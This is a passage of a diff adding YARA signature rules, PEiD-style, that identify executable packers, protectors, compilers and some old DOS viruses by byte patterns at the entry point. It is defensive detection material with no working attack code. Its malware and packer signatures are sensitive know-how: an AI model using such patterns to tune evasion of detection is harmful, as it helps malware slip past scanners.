+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_24x__25x__Jitit_Software_
+{
+	meta:
+		description = "Thinstall 2.4x - 2.5x -> Jitit Software"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v113_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099__10_private__tE_
+{
+	meta:
+		description = "tElock 0.99 - 1.0 private -> tE!"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EEXE_Version_112_
+{
+	meta:
+		description = "EEXE Version 1.12"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _TAV_
+{
+	meta:
+		description = "TAV"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A CB}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS16M_DOS_Extender_c_Tenberry_Software_Inc_19871995_
+{
+	meta:
+		description = "DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995"
+	strings:
+		$0 = {BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v111_
+{
+	meta:
+		description = "SVK-Protector v1.11"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _FACRYPT_v10_
+{
+	meta:
+		description = "FACRYPT v1.0"
+	strings:
+		$0 = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v13b__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3b --> Vaska"
+	strings:
+		$0 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPR_Stripper_v2x_unpacked_
+{
+	meta:
+		description = "ASPR Stripper v2.x unpacked"
+	strings:
+		$0 = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V125__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.25 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V112V114_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule __Protector_v1111_DDeMPE_Engine_v09_DDeMCI_v092_
+{
+	meta:
+		description = "*** Protector v1.1.11 (DDeM->PE Engine v0.9, DDeM->CI v0.9.2)"
+	strings:
+		$0 = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+		$1 = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_KBDflags1024_
+{
+	meta:
+		description = "Vx: KBDflags.1024"
+	strings:
+		$0 = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Slowload_
+{
+	meta:
+		description = "Vx: Slowload"
+	strings:
+		$0 = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v25_Retail_Slim_Loader__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddiebased1745_
+{
+	meta:
+		description = "Vx: Eddie.based.1745"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1992_13_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (13)"
+	strings:
+		$0 = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB 33 DB B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Inliner_v10_by_GPcH_
+{
+	meta:
+		description = "UPX Inliner v1.0 by GPcH"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+	condition:
+		$0
+}
+rule _Upack_Unknown_DLL___Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack_Unknown (DLL ???) -> Sign by hot_UNP"
+	strings:
+		$0 = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v0251_
+{
+	meta:
+		description = "PESHiELD v0.251"
+	strings:
+		$0 = {5D 83 ED 06 EB 02 EA 04 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _yC_v13_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yC v1.3 by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0
+}
+rule _Turbo_Cpp_30_1990_
+{
+	meta:
+		description = "Turbo C++ 3.0 1990"
+	strings:
+		$0 = {8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C 06}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v102b_v110a_v120_
+{
+	meta:
+		description = "DIET v1.02b, v1.10a, v1.20"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V36__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.6 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_v102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v20_
+{
+	meta:
+		description = "PEtite v2.0"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v03_Eng__cyberbob_
+{
+	meta:
+		description = "PESpin v0.3 (Eng) -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_CodeLock__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Code-Lock] --> Anorganix"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+		$1 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v190a_
+{
+	meta:
+		description = "Armadillo v1.90a"
+	strings:
+		$0 = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v200c_
+{
+	meta:
+		description = "PKLITE v2.00c"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_V1X__PolyTech_
+{
+	meta:
+		description = "VMProtect V1.X -> PolyTech"
+	strings:
+		$0 = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+	condition:
+		$0
+}
+rule _Special_EXE_Password_Protector_v10_
+{
+	meta:
+		description = "Special EXE Password Protector v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V2X__LiuXingPing_
+{
+	meta:
+		description = "NsPack V2.X -> LiuXingPing"
+	strings:
+		$0 = {6E 73 70 61 63 6B 24 40}
+	condition:
+		$0
+}
+rule _Obsidium_v1250__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.2.5.0 -> Obsidium Software (h)"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+		$1 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ARM_Protector_v01_by_SMoKE_
+{
+	meta:
+		description = "ARM Protector v0.1 by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+	condition:
+		$0 or $1
+}
+rule _PEtite_v21_
+{
+	meta:
+		description = "PEtite v2.1"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v15_Private__Vaska_
+{
+	meta:
+		description = "RCryptor v1.5 (Private) --> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.32 Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+		$1 = {BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5}
+	condition:
+		$0 or $1
+}
+rule _E_language_
+{
+	meta:
+		description = "E language"
+	strings:
+		$0 = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Caz1204_
+{
+	meta:
+		description = "Vx: Caz.1204"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_Demo_FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5 Demo-> FEUERRADER"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UG2002_Cruncher_v03b3_
+{
+	meta:
+		description = "UG2002 Cruncher v0.3b3"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cppx_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Uddy2617_
+{
+	meta:
+		description = "Vx: Uddy.2617"
+	strings:
+		$0 = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPaCK_v10__C_Copyright_1998_by_ANAKiN_h_
+{
+	meta:
+		description = "PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN (h)"
+	strings:
+		$0 = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+	condition:
+		$0
+}
+rule _Shrinker_v33_
+{
+	meta:
+		description = "Shrinker v3.3"
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Noon1163_
+{
+	meta:
+		description = "Vx: Noon.1163"
+	strings:
+		$0 = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _WebCops_DLL__LINK_Data_Security_
+{
+	meta:
+		description = "WebCops [DLL] -> LINK Data Security"
+	strings:
+		$0 = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _PeX_099__bartCrackPl_
+{
+	meta:
+		description = "PeX 0.99 -> bart^CrackPl"
+	strings:
+		$0 = {E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _PROTECT_EXECOM_v50_
+{
+	meta:
+		description = "PROTECT! EXE/COM v5.0"
+	strings:
+		$0 = {1E 0E 0E 1F 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v250_
+{
+	meta:
+		description = "Armadillo v2.50"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+		$1 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_133__21_Registered__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_1_
+{
+	meta:
+		description = "PKLITE v1.50 (1)"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v100_
+{
+	meta:
+		description = "HACKSTOP v1.00"
+	strings:
+		$0 = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_V22X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.2X -> softcomplete.com"
+	strings:
+		$0 = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+	condition:
+		$0
+}
+rule _MS_RunTime_Library_1990_10_
+{
+	meta:
+		description = "MS Run-Time Library 1990 (10)"
+	strings:
+		$0 = {E8 ?? ?? 2E FF 2E ?? ?? BB ?? ?? E8 ?? ?? CB}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099__tE_
+{
+	meta:
+		description = "tElock 0.99 -> tE!"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual Basic v6.0 DLL"
+	strings:
+		$0 = {5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_XCR_011__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [XCR 0.11] --> Anorganix"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+		$1 = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BJFnt_v11b_
+{
+	meta:
+		description = ".BJFnt v1.1b"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Guard_for_Win32_v500__SofProBlagoje_Ceklic_h_
+{
+	meta:
+		description = "PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic (h)"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_30__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+		$1 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$2 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _DEF_v100_Eng__bartxt_
+{
+	meta:
+		description = "DEF v1.00 (Eng) -> bart/xt"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_Custom_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 Custom"
+	strings:
+		$0 = {60 BE 00 B0 44 00 8D BE 00 60 FB FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v2xx_CopyMem_II_
+{
+	meta:
+		description = "Armadillo v2.xx (CopyMem II)"
+	strings:
+		$0 = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h2_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptCom_v11_
+{
+	meta:
+		description = "CryptCom v1.1"
+	strings:
+		$0 = {BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PCPEC_alpha_
+{
+	meta:
+		description = "PCPEC [alpha]"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V23__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 70 61 63 6B 24 40}
+	condition:
+		$0
+}
+rule _Armadillo_v190_
+{
+	meta:
+		description = "Armadillo v1.90"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TXT2COM_
+{
+	meta:
+		description = "TXT2COM"
+	strings:
+		$0 = {E8 ?? ?? CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftWrap_
+{
+	meta:
+		description = "SoftWrap"
+	strings:
